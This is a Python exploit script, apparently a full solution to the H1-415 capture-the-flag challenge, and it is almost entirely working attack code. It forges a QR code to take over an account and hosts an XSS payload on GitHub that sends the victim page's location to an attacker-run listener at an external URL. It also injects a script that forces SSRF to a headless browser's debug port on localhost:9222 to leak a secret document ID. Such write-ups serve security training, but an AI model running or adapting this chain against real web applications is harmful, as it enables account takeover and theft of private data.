import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import base64
import random
import string
import os
from subprocess import call
from pwn import *
from threading import Thread, Lock
from time import sleep
import pdftotext

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# You need to set SSH keys in your github
JOBERT_EMAIL = 'jobert@mydocz.cosmic{{}}'
GITHUB_TOKEN = '<YOUR_TOKEN_HERE>' # -gt
GITHUB_USER = '<YOUR_GITHUB_USER>' # -gu
GITHUB_URL = 'https://api.github.com'
LOCAL_PORT = 80 # -lp
EXTERNAL_URL = '<YOUR_EXTERNAL_URL>' # -eu You can use NGROK
QRCODE_FILENAME = 'jobert_qrcode.png'
REMOTE_DEBUG_FILENAME = 'remote_debug.pdf'
FLAG_FILENAME = 'flag.pdf'
CTF_URL = 'https://h1-415.h1ctf.com'
XSS_DOCUMENT_LOCATION = "%3Cscript%20src=%22https://raw.githack.com/mattboldt/typed.js/master/lib/..%252f..%252f..%252f..%252f{}%22%3E%3C/script%3E"
XSS_PAYLOAD = 'var i = document.createElement("img"); i.src = "{}?leak="+encodeURIComponent(document.location);'.format(EXTERNAL_URL)
XSS_SSRF = '<script>window.location = "http://localhost:9222/json";</script>'

session_jobert = requests.Session()
session_second_acc = requests.Session()

csrf_jobert = ''
csrf_second = ''
review_id = ''

def recover_acc(_csrf):
	global QRCODE_FILENAME, CTF_URL, session_jobert, csrf_jobert
	
	qrcode_image = open(QRCODE_FILENAME,'rb')
	recover = session_jobert.post(CTF_URL + '/recover', files={'qrcode':('jobert_qrcode.png', qrcode_image, 'image/png')}, \
									data={'_csrf_token':_csrf}, verify=False)
	
	if recover.status_code == 200:
		csrf_jobert = recover.cookies['_csrf_token']
		return True
	else:
		print('[X] Error while trying to login using Jobert\'s QRCode.')
		print(recover.text)
		raise Exception()

def logout():
	global session_jobert, CTF_URL, csrf_jobert
	logout_response = session_jobert.get(CTF_URL + '/logout', allow_redirects=False, verify=False)
	
	if logout_response.status_code == 302:
		csrf_jobert = logout_response.cookies['_csrf_token']
		return True
	else:
		print('[X] Error while trying to logout.')
		print(logout_response.text)
		raise Exception()

def account_takeover():
	global session_jobert, csrf_jobert, CTF_URL, QRCODE_FILENAME
	
	print('[*] Signing up with jobert@mydocz.cosmic{{}} as e-mail address...')
	response_get_csrf = session_jobert.get(CTF_URL)
	csrf_jobert = response_get_csrf.cookies['_csrf_token']
	paramsPost = { "password" : "secretpassword", "password-confirmation" : "secretpassword", \
				"name" : "H1-415_FULL_EXPLOIT", "_csrf_token" : csrf_jobert, \
				"email": JOBERT_EMAIL ,"username":random_name()}
				
	response_acc_takeover = session_jobert.post(CTF_URL + '/register', data=paramsPost, verify=False)
	
	if response_acc_takeover.status_code == 200:
		b64_image = response_acc_takeover.text[response_acc_takeover.text.index('<img src="data:image/png;base64,')+32: \
											   response_acc_takeover.text.index('" class="mx-20"')]
		
		qrcode_image = base64.b64decode(b64_image)
		saved_qrcode = open(QRCODE_FILENAME, 'wb')
		saved_qrcode.write(qrcode_image)
		saved_qrcode.close()
		
		print('[*] QRCode forged!')
		
		logout()
		
		recover_acc(csrf_jobert)
		print('[*] Successfully signed in as Jobert!')
		
def send_support_msg(xss_file):
	global CTF_URL, session_jobert, csrf_jobert
	
	# First send a chat message and then a feedback
	print('[*] Sending chat message...')
	chat_response = session_jobert.get(CTF_URL + '/support/chat?message='+XSS_DOCUMENT_LOCATION.format(xss_file), verify=False )
	if chat_response.status_code != 200:
		print('[X] Error while trying to send a chat message')
		raise Exception('')
		
	sleep(2)
	
	# Feedback
	print('[*] Sending feedback...')
	feedback_response = session_jobert.post(CTF_URL + '/support/feedback', data={'rating':1,'_csrf_token': csrf_jobert}, verify=False)
	if feedback_response.status_code != 200:
		print('[X] Erro while trying to send the feedback')
		raise Exception('')
	
	return True

def random_name():
	return ''.join(random.choice(string.ascii_lowercase) for c in range(0,6))
	
def create_repo():
	global GITHUB_URL, GITHUB_USER, GITHUB_TOKEN
	
	repo_name = random_name()
	r = requests.post(GITHUB_URL + '/user/repos', json={'name' : repo_name}, auth=(GITHUB_USER, GITHUB_TOKEN), verify=False)
	if r.status_code == 201:
		return repo_name
	return None
	
def deploy_XSS():
	global GITHUB_USER, XSS_PAYLOAD
	
	repo_name = create_repo()
	if repo_name is None:
		print('[X] Error while trying to create a Github repository')
		raise Exception
		
	dir_name = random_name()
	
	os.mkdir('./' + dir_name) # os raise exception if it fails
	os.chdir('./' + dir_name)
	
	file_name = random_name() + '.js'
	_file = open(file_name, 'w')
	_file.write(XSS_PAYLOAD)
	_file.close()
	
	repo_complete_name = GITHUB_USER + '/' + repo_name
	
	call('git init', shell=True)
	call('git remote add origin git@github.com:' + repo_complete_name + '.git', shell=True)
	call('git add ' + file_name, shell=True)
	call('git commit -m ' + file_name, shell=True)
	call('git push -q origin master', shell=True)
	
	# Cache file in githack
	full_file_path = repo_complete_name + '/master/' + file_name
	git_hack_url = 'http://raw.githack.com/' + full_file_path
	git_hack = requests.get(git_hack_url)
	
	if git_hack.text == XSS_PAYLOAD:
		print('[*] XSS payload uploaded to ' + git_hack_url)
	else:
		print('[X] Error while deploying XSS payload')
		raise Exception
		
	return full_file_path
	
	
def run_leak_server():
	global LOCAL_PORT, review_id
	
	l = listen(LOCAL_PORT)
	l.wait_for_connection()
	
	get_request = l.recvuntil('HTTP/1.1')
	leaked = re.findall('leak=(.*?) HTTP/1.1', str(get_request))[0]
	print('[*] Review document.location leaked: ' + leaked)
	l.recvuntil('\r\n\r\n')
	l.send('HTTP/1.1 200 OK\r\nConnection: Close\r\nContent-Type: plain/text\r\nContent-Length: 0\r\n\r\n')
	
	review_id = re.findall('review%2F(.*?)$', leaked)[0]
	print('[*] Review id: ' + review_id)
	
	l.close()
	
	return True
	
def create_second_acc():
	global session_second_acc, csrf_second, CTF_URL
	
	response_get_csrf = session_second_acc.get(CTF_URL)
	csrf_second = response_get_csrf.cookies['_csrf_token']
	sec_username = random_name()
	
	sec_acc_response = session_second_acc.post(CTF_URL + '/register', data={"password" : "secretpassword", \
				"password-confirmation" : "secretpassword", \
				"name" : "HERE_WILL_BE_MY_PAYLOAD", "_csrf_token" : csrf_second, \
				"email":random_name()+"@gimmemyflag.com" ,"username": sec_username}, verify=False)
	
	if sec_acc_response.status_code == 200:
		print('[*] Second user created: ' + sec_username)
	else:
		raise Exception()
		
	sec_acc_response = session_second_acc.get(CTF_URL + '/settings')
	
	if sec_acc_response.status_code == 200:
		sec_user_id = re.findall('"user_id" value="(.*?)"',sec_acc_response.text)[0]
		print('[*] Second user id: ' + sec_user_id)
		return sec_user_id
	else:
		raise Exception()
		
def update_name(user_id):
	global session_jobert, csrf_jobert, CTF_URL, review_id, XSS_SSRF
	
	update_response = session_jobert.post(CTF_URL + '/support/review/' + review_id, data={"user_id": user_id, \
											"name": XSS_SSRF, "_csrf_token": csrf_jobert}, verify=False)
	
	if update_response.status_code == 200:
		print('[*] Name changed.')
		return True
	else:
		raise Exception()
	
def create_minimal_png():
	image_name = random_name() + '.png'
	img = open(image_name, 'wb')
	bytes = b"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"\
			b"\x00\x00\x01\x00\x00\x00\x01\x00\x01\x03\x00\x00\x00\x66\xBC\x3A"\
			b"\x25\x00\x00\x00\x03\x50\x4C\x54\x45\xB5\xD0\xD0\x63\x04\x16\xEA"\
			b"\x00\x00\x00\x1F\x49\x44\x41\x54\x68\x81\xED\xC1\x01\x0D\x00\x00"\
			b"\x00\xC2\xA0\xF7\x4F\x6D\x0E\x37\xA0\x00\x00\x00\x00\x00\x00\x00"\
			b"\x00\xBE\x0D\x21\x00\x00\x01\x9A\x60\xE1\xD5\x00\x00\x00\x00\x49"\
			b"\x45\x4E\x44\xAE\x42\x60\x82"
	img.write(bytes)
	img.close()
	
	return image_name

def converter(img_name):
	global session_second_acc, csrf_second, CTF_URL

	converter_response = session_second_acc.post(CTF_URL + '/converter', \
												files={"document":("imagem.png",open(img_name,'rb'),'image/png')},\
												data={"_csrf_token":csrf_second},\
												verify=False, allow_redirects=False)
	if converter_response.status_code == 302:
		print('[*] Sent a converter request.')
		return True
	else:
		raise Exception()
	
def get_last_document():
	global session_second_acc, CTF_URL
	
	print('[*] Getting the document...')
	
	doc_response = session_second_acc.get(CTF_URL + '/documents', verify=False)
	doc_url = re.findall('src="(.*?)"',doc_response.text)[0]
	doc_url = doc_url.replace('-thumb.png','')
	print('[*] Document URL: ' + doc_url)
	
	doc = session_second_acc.get(CTF_URL + doc_url, verify=False)
	open(REMOTE_DEBUG_FILENAME,'wb').write(doc.content)
	
	print('[*] Document saved locally as ' + REMOTE_DEBUG_FILENAME)
	return doc_url
	
def read_pdf(pdf_filename):
	with open(pdf_filename, "rb") as f:
		pdf = pdftotext.PDF(f)
	return pdf[0]
	
def find_secret_document_url(pdftext):
	secret_doc = re.findall('secret_document=(.*?).pdf"', pdftext)[0]
	return secret_doc
	
def capture_the_flag(url):
	global session_jobert, CTF_URL
	
	flag_request = session_jobert.get(CTF_URL + '/documents/' + url, verify=False)
	open(FLAG_FILENAME, 'wb').write(flag_request.content)
	return read_pdf(FLAG_FILENAME)
	
if __name__ == '__main__':
	print('***********************************************')
	print('*              H1-415 FULL EXPLOIT            *')
	print('***********************************************')
	account_takeover()
	xss_file_path = deploy_XSS()
	
	leak_server = Thread(target=run_leak_server)
	leak_server.start()
	
	support_request = Thread(target=send_support_msg, args=(xss_file_path,))
	support_request.start()
	
	leak_server.join()
	support_request.join()
	
	second_user_id = create_second_acc()
	print('[*] Changing second user name...')
	update_name(second_user_id)
	converter(create_minimal_png())
	print('[*] Waiting 4 seconds to get the converted document...')
	sleep(4)
	get_last_document()
	print('[*] Parsing PDF...')
	doc_text = read_pdf(REMOTE_DEBUG_FILENAME)
	secret_doc_url = find_secret_document_url(doc_text)
	print('[*] Secret document id found: ' + secret_doc_url)
	print('[*] Capturing the FLAG!!')
	print('[*] Flag saved as '+FLAG_FILENAME)
	flag = capture_the_flag(secret_doc_url)
	print('***********************************************')
	print(flag)
	print('***********************************************')
